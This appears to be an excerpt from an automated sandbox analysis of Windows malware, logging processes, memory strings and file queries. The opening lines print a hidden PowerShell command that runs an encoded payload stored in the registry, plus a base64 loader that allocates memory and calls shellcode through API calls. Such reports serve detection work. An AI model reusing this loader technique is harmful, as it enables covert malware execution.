            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program Managerc
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Program Manager
            Source: ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
            Source: ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Progman
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program ManagerXYB2Q\y:
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program ManagerXYB2Q\
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Managerr|
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program Manageri
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program ManagerW
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpBinary or memory string: Program ManagerX
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Manager==n
            Source: ieinstal.exe, 00000014.00000002.852789394.0000000003A90000.00000002.00020000.sdmp, powershell.exe, 00000018.00000002.868881324.0000000003330000.00000002.00020000.sdmp, powershell.exe, 0000001C.00000002.878910701.0000000003330000.00000002.00020000.sdmpBinary or memory string: Progmanlock
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Manager32\cmd.exepe 001
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmpBinary or memory string: Program Manager+=\
            Source: ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000002.852441123.000000000362A000.00000004.00000020.sdmpBinary or memory string: |Program Manager|
            Source: ieinstal.exe, 00000014.00000002.852441123.000000000362A000.00000004.00000020.sdmpBinary or memory string: [Program Manager]
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
